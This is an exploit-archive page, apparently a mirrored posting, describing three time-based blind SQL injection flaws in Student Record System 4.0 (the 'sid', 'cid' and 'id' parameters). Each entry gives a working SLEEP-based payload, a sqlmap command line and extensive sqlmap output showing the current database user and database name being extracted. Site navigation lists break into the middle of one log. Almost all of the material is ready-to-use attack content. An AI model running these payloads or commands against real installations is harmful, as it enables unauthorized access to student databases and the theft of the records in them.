Student Record System 4.0 SQL Injection

Authored by Jannick Tiger | Posted Feb 2, 2021

Student Record System version 4.0 suffers from multiple remote SQL injection vulnerabilities.

tags | exploit, remote, sql injection
SHA-256 | dfe6590104e43fcb91a49df285fbbeb22689cc463fc4fdf97ee7c72ee83a16fb | Download | Favorite | View

Related Files

Change Mirror | Download

```
# Exploit Title: Student Record System 4.0 - 'sid' SQL Injection
# Google Dork: N/A
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-subject.php
3. Click edit on any user and then add the following payload to the url
payload:' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
url:http://localhost/schoolmanagement/pages/edit-sub.php?sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL)
AND 'uXEB'='uXEB

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u http://localhost/schoolmanagement/pages/edit-sub.php?sid=3 --batch --dbms=mysql --
current-db --current-user



[11:27:06] [INFO] GET parameter 'sid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)
values? [Y/n] Y
[11:27:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[11:27:06] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least
one other (potential) technique found
[11:27:08] [INFO] checking if the injection point on GET parameter 'sid' is a false positive
GET parameter 'sid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: sid (GET)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: sid=3' AND (SELECT 9300 FROM (SELECT(SLEEP(5)))RnkL) AND 'uXEB'='uXEB
---
[11:27:29] [INFO] the back-end DBMS is MySQL
[11:27:29] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[11:27:34] [INFO] fetching current user
[11:27:34] [INFO] retrieved:
[11:27:44] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[11:28:40] [INFO] fetching current database
[11:28:40] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[11:29:38] [INFO] fetched data logged to text files under




-------

# Exploit Title: Student Record System 4.0 - 'cid' SQL Injection
# Google Dork: N/A
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view-course.php
3. Click edit on any user and then add the following payload to the url
payload:' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
url:http://localhost/schoolmanagement/pages/edit-course.php?cid=7' AND (SELECT 9265 FROM
(SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI

If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u http://localhost/schoolmanagement/edit-course.php?cid=7 --batch --dbms=mysql --current-db
--current-user



 ___
__H__
 ___ ___[*]_____ ___ ___  {1.4.10.16#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting @ 13:21:36 /2021-02-02/

[13:21:36] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.100.242:80/schoolmanagement/index.php'. Do you want to follow? [Y/n] Y
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=88oau62p72k...thmqvnofk6'). Do
you want to use those [Y/n] Y
[13:21:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[13:21:37] [INFO] testing if the target URL content is stable
[13:21:37] [WARNING] GET parameter 'cid' does not appear to be dynamic
[13:21:37] [WARNING] heuristic (basic) test shows that GET parameter 'cid' might not be injectable
[13:21:37] [INFO] testing for SQL injection on GET parameter 'cid'
[13:21:37] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[13:21:38] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[13:21:38] [INFO] testing 'Generic inline queries'
[13:21:38] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[13:21:39] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
```


File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 201 files
Ubuntu 78 files
Debian 24 files
LiquidWorm 23 files
malvuln 12 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
[13:21:39] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[13:21:39] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[13:21:50] [INFO] GET parameter 'cid' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)
values? [Y/n] Y
[13:21:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[13:21:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least
one other (potential) technique found
[13:21:52] [INFO] checking if the injection point on GET parameter 'cid' is a false positive
GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: cid (GET)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: cid=7' AND (SELECT 9265 FROM (SELECT(SLEEP(5)))ljCB) AND 'yXjI'='yXjI
---
[13:22:13] [INFO] the back-end DBMS is MySQL
[13:22:13] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[13:22:18] [INFO] fetching current user
[13:22:18] [INFO] retrieved:
[13:22:28] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[13:23:24] [INFO] fetching current database
[13:23:24] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[13:24:22] [INFO] fetched data logged to text files under




-----

# Exploit Title: Student Record System 4.0 - 'id' SQL Injection
# Date: 2/2/2021
# Exploit Author: Jannick Tiger
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/wp-content/uploads/2019/05/schoolmanagement.zip
# Version: V 4.0
# Tested on: Windows、XAMPP

# Identify the vulnerability
1. go to http://localhost/schoolmanagement/pages/login.php and login with your account
2. then go to http://localhost/schoolmanagement/pages/view.php
3. Click edit on any user and then add the following payload to the url payload:' AND (SELECT 6593 FROM
(SELECT(SLEEP(5)))tlDh) AND 'nzIe'='nzIe
If the web server makes you wait 5 seconds then it's vulnerable

# Exploit

Now you can exploit it using sqlmap

command: sqlmap -u url --batch --dbms=mysql --current-db --current-user

example: sqlmap.py -u
http://localhost/schoolmanagement/pages/edit-std.php?id=3 --batch
--dbms=mysql --current-db --current-user


 ___
 __H__
 ___ ___[,]_____ ___ ___ {1.4.10.16#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
 |_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the
end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability
and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:44:26 /2021-02-02/


[17:44:27] [WARNING] GET parameter 'id' does not appear to be dynamic
[17:44:27] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[17:44:27] [INFO] testing for SQL injection on GET parameter 'id'
[17:44:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:44:28] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[17:44:28] [INFO] testing 'Generic inline queries'
[17:44:28] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[17:44:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[17:44:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:44:28] [WARNING] time-based comparison requires larger statistical model, please wait.............. (done)
[17:44:40] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1)
values? [Y/n] Y
[17:44:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:44:40] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least
one other (potential) technique found
[17:44:42] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: id (GET)
 Type: time-based blind
 Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
 Payload: id=3' AND (SELECT 6593 FROM (SELECT(SLEEP(5)))tlDh) AND 'nzIe'='nzIe
---
[17:45:02] [INFO] the back-end DBMS is MySQL
[17:45:02] [WARNING] it is very important to not stress the network connection during usage of time-based
payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:45:07] [INFO] fetching current user
[17:45:07] [INFO] retrieved:
[17:45:18] [INFO] adjusting time delay to 1 second due to good response times
root@localhost
current user: 'root@localhost'
[17:46:13] [INFO] fetching current database
[17:46:13] [INFO] retrieved: schoolmanagement
current database: 'schoolmanagement'
[17:47:11] [INFO] fetched data logged to text files under
```